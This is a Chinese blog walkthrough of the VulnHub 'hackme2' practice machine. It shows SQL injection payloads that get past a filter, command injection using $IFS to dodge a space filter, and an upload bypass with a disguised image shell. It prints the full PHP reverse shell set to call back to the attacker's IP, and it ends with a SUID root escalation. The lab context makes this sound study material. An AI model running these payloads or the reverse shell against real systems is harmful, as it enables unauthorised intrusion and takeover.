靶机渗透练习14-hackme2

靶机描述

靶机地址:https://www.vulnhub.com/entry/hackme-2,618/

Description

'hackme2' is a medium difficulty level box. This is the second part of the hackme series where more controls are in place do deter malicious attacks. In addition, you will have to think out of the box to exploit the vulnerabilites. The goal is to gain limited privilege access via web vulnerabilities and subsequently, privilege escalate as a root user. The lab was created to mimic real world web vulnerabilities.

'hackme2' uses DHCP and in the possible event that the mysqld shuts down on its own (very rare cases), attempt to force restart the machine and it should be working fine subsequently.

一、搭建靶机环境

攻击机Kali

IP地址:192.168.184.128

靶机

IP地址:192.168.184.149

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l (指定网卡扫)

arp-scan -I eth0 -l

image-20220111145942846

方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

image-20220111150048271

2.1.3 尝试访问靶机网页

image-20220111150150218

2.2枚举漏洞

22 端口分析

一般只能暴力破解,暂时没有合适的字典

80 端口分析

访问网站, 发现是一个登陆页面

点击 “Sign up now”,进行注册

image-20220111150313209

image-20220111150328098

尝试手工注入:x' or 1=1#

没有回显

猜测应该是有做过滤

2.3漏洞利用

2.3.1 尝试 sqlmap 注入失败

使用 burp 抓查询数据包

image-20220111151223931

POST /welcome.php HTTP/1.1
Host: 192.168.184.149
Content-Length: 8
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.184.149
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.184.149/welcome.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=jub1jihglt85brngo5imqsifb3
Connection: close

search=1

将数据包保存为文件 hackme2.txt
使用 sqlmap 跑一下测试漏洞:sqlmap -r hackme2.txt --batch

image-20220111151155030

没有成功
根据提示,使用 tamper 脚本,增加参数 --tamper=space2comment
sqlmap -r hackme2.txt --tamper=space2comment --batch

根据提示可以看出是可能存在注入漏洞的,但是 sqlmap 没有跑出来,说明有 WAF 或者代码中存在过滤。

2.3.2 手工注入绕过 WAF 代码拦截

根据前面的测试,基本判断是有注入的,但是被 WAF 或者代码拦截了
先手工注入进行测试

a'/**/and/**/length(database())=1# 没反应

a'/**/and/**/length(database())>1# 没反应

因为是搜索功能,可以加入%号测试
a%'/**/and/**/length(database())=1# 没反应

a%'/**/and/**/length(database())>1# 有结果

image-20220111152039623

说明存在注入
a%'/**/and/**/sleep(5)#有反应,sleep()执行了,说明存在时间盲注

尝试一下 union 注入:a%'/**/union/**/select/**/1,2,3#

image-20220111152247469

  1. 有回显,说明存在 union 注入
    按部就班获取信息
    获取数据库名等基本信息:x%'/**/union/**/select/**/user(),database(),version()#

    image-20220111152604765

    数据库名为webapphacking

  2. 获取表名:x%'/**/union/**/select/**/TABLE_NAME,2,3/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=database()#

    image-20220111152653359

    有两个表booksusers

  3. 获取列名:
    x%'/**/union/**/select/**/column_name,2,3/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_SCHEMA=database()/**/and/**/TABLE_NAME='users'#

    image-20220111152752776

    另一种获取列名的方法x%'/**/union/**/select/**/group_concat(column_name),2,3/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_SCHEMA=database()/**/and/**/TABLE_NAME='users'#

    image-20220111152817237

  4. 获取表信息:x%'/**/union/**/select/**/user,pasword,3/**/from/**/users#

image-20220111152834426

超级管理员用户:superadmin 其密码是2386acb2cf356944177746fc92523983

在线 md5 解密:https://www.somd5.com/

image-20220111152924133

得到密码:Uncrackable

登录上去,发现有上传功能

image-20220111153242824

2.3.3尝试文件上传 getshell 失败

将 kali 自带的 php-reverse-shell.php 复制一份到

image-20220110173434923

查看文件内容,并修改IP地址

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.184.128';  // CHANGE THIS
$port = 6666;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

image-20220110173559344

上传该文件

image-20220111153352722

提示只能是图片格式
上传一个图片试试

image-20220111153543102

提示上传自 uploads 文件夹,访问:http://192.168.184.149/uploads/a1.png

image-20220111153609040

说明文件名被修改了

2.3.4 命令注入获取 shell

后台除了上传功能之外,还一个查询用户名功能,可能有 SQL 注入,或者命令注入漏洞
测试命令注入,输入 1*2 3*4,可以发现3*4执行了等于 12,说明存在命令注入。

image-20220111153849012

输入 system('id'),执行

image-20220111153923896

可以看到有回显
使用 burp 抓包,在 burp 中repeater中修改参数 system('ls')

image-20220111154202375

查看uploads文件夹:system('ls uploads')

image-20220111154450502

发现空格被吃掉了,应该是被过滤了。
只能查看当前目录下的文件,使用cat<welcomeadmin.php 查看文件内容,看看是否能绕过

image-20220111154601701

可以看到文件上传之后的绝对路径是:/var/www/html/uploads/year2020/

而且有黑名单:

image-20220111154647093

所以直接上传基本没戏,可以先上传图片马,然后使用命令修改后缀
php-reverse-shell.php 复制一份出来,修改名字为 test.gif,然后在开头添加 GIF89a

image-20220111154931076

尝试上传,发现成功

image-20220111155010405

尝试访问:http://192.168.184.149/uploads/year2020/test.gif
成功访问(因为是假图片会报错)

image-20220111155151074

修改文件扩展名依然需要空格,这个使用用一个 Linux 下的变量$IFS。(测试这个变量在绝对路径下才可以)

Shell 的环境变量分为 set, env 两种,其中 set 变量可以通过 export 工具导入到 env 变量中。其中,set 是显示设置 shell 变量,仅在本 shell 中有效;env 是显示设置用户环境变量 ,仅在当前会话中有效。换句话说,set 变量里包含了 env 变量,但 set 变量不一定都是 env变量。这两种变量不同之处在于变量的作用域不同。显然,env 变量的作用域要大些,它可以在 subshell 中使用。

而 IFS 是一种 set 变量,当 shell 处理"命令替换"和"参数替换"时,shell 根据 IFS 的值,默认是 space, tab, newline 来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。

执行:
system('cp$IFS/var/www/html/uploads/year2020/test.gif$IFS/var/www/html/uploads/year2020/test.php')

image-20220111155439839

kali 中 nc 开启监听,访问文件,反弹 shell 成功

image-20220111155602060

使用 python 切换为 bash:python3 -c 'import pty; pty.spawn("/bin/bash")'

image-20220111155719280

2.4权限提升

2.4.1 SUID 提权

查询 suid 权限程序: find / -perm -u=s -type f 2>/dev/null

www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/snap/core18/1932/bin/mount
/snap/core18/1932/bin/ping
/snap/core18/1932/bin/su
/snap/core18/1932/bin/umount
/snap/core18/1932/usr/bin/chfn
/snap/core18/1932/usr/bin/chsh
/snap/core18/1932/usr/bin/gpasswd
/snap/core18/1932/usr/bin/newgrp
/snap/core18/1932/usr/bin/passwd
/snap/core18/1932/usr/bin/sudo
/snap/core18/1932/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1932/usr/lib/openssh/ssh-keysign
/snap/core18/2253/bin/mount
/snap/core18/2253/bin/ping
/snap/core18/2253/bin/su
/snap/core18/2253/bin/umount
/snap/core18/2253/usr/bin/chfn
/snap/core18/2253/usr/bin/chsh
/snap/core18/2253/usr/bin/gpasswd
/snap/core18/2253/usr/bin/newgrp
/snap/core18/2253/usr/bin/passwd
/snap/core18/2253/usr/bin/sudo
/snap/core18/2253/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2253/usr/lib/openssh/ssh-keysign
/snap/core20/1270/usr/bin/chfn
/snap/core20/1270/usr/bin/chsh
/snap/core20/1270/usr/bin/gpasswd
/snap/core20/1270/usr/bin/mount
/snap/core20/1270/usr/bin/newgrp
/snap/core20/1270/usr/bin/passwd
/snap/core20/1270/usr/bin/su
/snap/core20/1270/usr/bin/sudo
/snap/core20/1270/usr/bin/umount
/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1270/usr/lib/openssh/ssh-keysign
/snap/core/11993/bin/mount
/snap/core/11993/bin/ping
/snap/core/11993/bin/ping6
/snap/core/11993/bin/su
/snap/core/11993/bin/umount
/snap/core/11993/usr/bin/chfn
/snap/core/11993/usr/bin/chsh
/snap/core/11993/usr/bin/gpasswd
/snap/core/11993/usr/bin/newgrp
/snap/core/11993/usr/bin/passwd
/snap/core/11993/usr/bin/sudo
/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/11993/usr/lib/openssh/ssh-keysign
/snap/core/11993/usr/lib/snapd/snap-confine
/snap/core/11993/usr/sbin/pppd
/snap/core/10444/bin/mount
/snap/core/10444/bin/ping
/snap/core/10444/bin/ping6
/snap/core/10444/bin/su
/snap/core/10444/bin/umount
/snap/core/10444/usr/bin/chfn
/snap/core/10444/usr/bin/chsh
/snap/core/10444/usr/bin/gpasswd
/snap/core/10444/usr/bin/newgrp
/snap/core/10444/usr/bin/passwd
/snap/core/10444/usr/bin/sudo
/snap/core/10444/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/10444/usr/lib/openssh/ssh-keysign
/snap/core/10444/usr/lib/snapd/snap-confine
/snap/core/10444/usr/sbin/pppd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/pkexec
/usr/bin/traceroute6.iputils
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/newgrp
/usr/bin/sudo
/home/legacy/touchmenot
/bin/mount
/bin/umount
/bin/ping
/bin/su
/bin/fusermount

发现一个可以文件 /home/legacy/touchmenot
https://gtfobins.github.io/网站上查询:touchmenot 没找到
尝试运行程序:发现直接提权成功

image-20220111160120707

找半天没找到flag的文件

what?就这?

总结

本节使用的工具和漏洞不难,涉及 SQL 注入漏洞和命令注入漏洞

  1. sql 注入工具:sqlmap
  2. 手工注入的一些知识,和 WAF 绕过的基本思路
  3. 抓包工具:burpsuite
  4. 命令注入的一些测试和绕过思路
  5. Webshell 后门:kali 内置后门
  6. Suid 提权:touchmenot 提权
posted @ 2022-04-01 22:48  hirak0  阅读(261)  评论(0编辑  收藏  举报